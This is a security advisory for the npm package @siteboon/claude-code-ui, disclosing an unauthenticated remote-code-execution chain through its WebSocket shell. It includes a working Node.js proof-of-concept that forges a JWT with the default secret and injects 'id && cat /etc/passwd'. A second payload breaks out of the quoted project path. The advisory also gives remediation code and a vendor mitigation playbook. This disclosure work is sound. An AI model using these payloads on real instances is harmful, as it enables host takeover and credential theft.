GHSA-gv8f-wpm2-m5wr
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@siteboon/claude-code-uiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection
Download: cve_claudecodeui_submission_v2.zip
Submission Info
| Field | Value |
|---|---|
| Package | @siteboon/claude-code-ui |
| Ecosystem | npm |
| Affected versions | <= 1.24.0 (latest) |
| Severity | Critical |
| CVSS Score | 9.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-1188, CWE-287, CWE-78 |
| Reported | 2026-03-02 |
| Researcher | Ethan-Yang (OPCIA) |
Summary
Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.
The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).
Vulnerability Details
1. Insecure Default JWT Secret — CWE-1188
File: server/middleware/auth.js, line 6
const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';
The server uses an environment variable for JWT_SECRET, but falls back to a
well-known default value when the variable is not set. Critically, JWT_SECRET is
not included in .env.example, so the majority of users deploy without setting it,
leaving the fallback value in effect.
Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.
2. WebSocket Authentication Skips Database Validation — CWE-287
File: server/middleware/auth.js, lines 82–108
authenticateWebSocket() only verifies the JWT signature. It does not check
whether the userId in the payload actually exists in the database — unlike
authenticateToken() which is used for REST endpoints and does perform this check:
// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded; // ← userId never verified against DB
// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← DB check present
if (!user) return res.status(401)...
A forged token with a non-existent userId passes WebSocket authentication,
bypassing access control entirely.
3. OS Command Injection via WebSocket Shell — CWE-78
File: server/index.js, line 1179
shellCommand = `cd "${projectPath}" && ${initialCommand}`;
Both projectPath and initialCommand are taken directly from the WebSocket message
payload and interpolated into a bash command string without any sanitization,
enabling arbitrary OS command execution.
A secondary injection vector exists at line 1257 via unsanitized sessionId:
shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;
Proof of Concept
Requirements: Node.js, jsonwebtoken, ws
import jwt from 'jsonwebtoken';
import WebSocket from 'ws';
// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
{ userId: 1337, username: 'attacker' },
'claude-ui-dev-secret-change-in-production'
);
// Step 2: Connect to /shell WebSocket — auth passes because
// authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);
ws.on('open', () => {
// Step 3: initialCommand is injected directly into bash
ws.send(JSON.stringify({
type: 'init',
projectPath: '/tmp',
initialCommand: 'id && cat /etc/passwd',
isPlainShell: true,
hasSession: false
}));
});
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (msg.type === 'output') process.stdout.write(msg.data);
});
Actual output observed during testing:
uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Secondary vector — projectPath double-quote escape injection
ws.send(JSON.stringify({
type: 'init',
projectPath: '" && id && echo "pwned" # ',
provider: 'claude',
hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned
Additional Findings
| CWE | Location | Description |
|---|---|---|
| CWE-306 | server/routes/auth.js:22 | /api/auth/register requires no authentication — first caller becomes admin |
| CWE-942 | server/index.js:325 | cors() with no options sets Access-Control-Allow-Origin: * |
| CWE-613 | server/middleware/auth.js:70 | generateToken() sets no expiresIn — tokens never expire |
Impact
Any claudecodeui instance accessible over the network where JWT_SECRET is not
explicitly configured (the default case, as it is absent from .env.example) is
vulnerable to:
- Full OS command execution as the server process user
- File system read/write access
- Credential theft (SSH keys,
.envfiles, API keys stored on the host) - Lateral movement within the host network
The attack requires zero authentication and succeeds immediately after default installation.
Remediation
Fix 1 — Enforce explicit JWT_SECRET; remove insecure default
// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
console.error('[FATAL] JWT_SECRET environment variable must be set');
process.exit(1);
}
Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.
Fix 2 — Add DB user existence check in WebSocket authentication
const authenticateWebSocket = (token) => {
if (!token) return null;
try {
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← add
if (!user) return null; // ← add
return user;
} catch (error) {
return null;
}
};
Fix 3 — Replace shell string interpolation with spawn argument array
// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);
// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
cwd: projectPath // pass path as cwd, not shell string
});
Fix 4 — Additional hardening
- Add
expiresIn: '24h'togenerateToken() - Restrict CORS to specific trusted origins
- Rate-limit and restrict
/api/auth/registerto localhost on initial setup
Timeline
| Date | Event |
|---|---|
| 2026-03-02 | Vulnerabilities discovered and verified via PoC |
| 2026-03-02 | Private advisory submitted to maintainer |
| 2026-06-01 | Public disclosure (90-day deadline) |
Researcher
Ethan-Yang — OPCIA
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @siteboon/claude-code-ui | all versions | 1.25.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @siteboon/claude-code-ui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @siteboon/claude-code-ui to 1.25.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gv8f-wpm2-m5wr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gv8f-wpm2-m5wr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gv8f-wpm2-m5wr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gv8f-wpm2-m5wr in your dependencies?
O3 detects GHSA-gv8f-wpm2-m5wr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.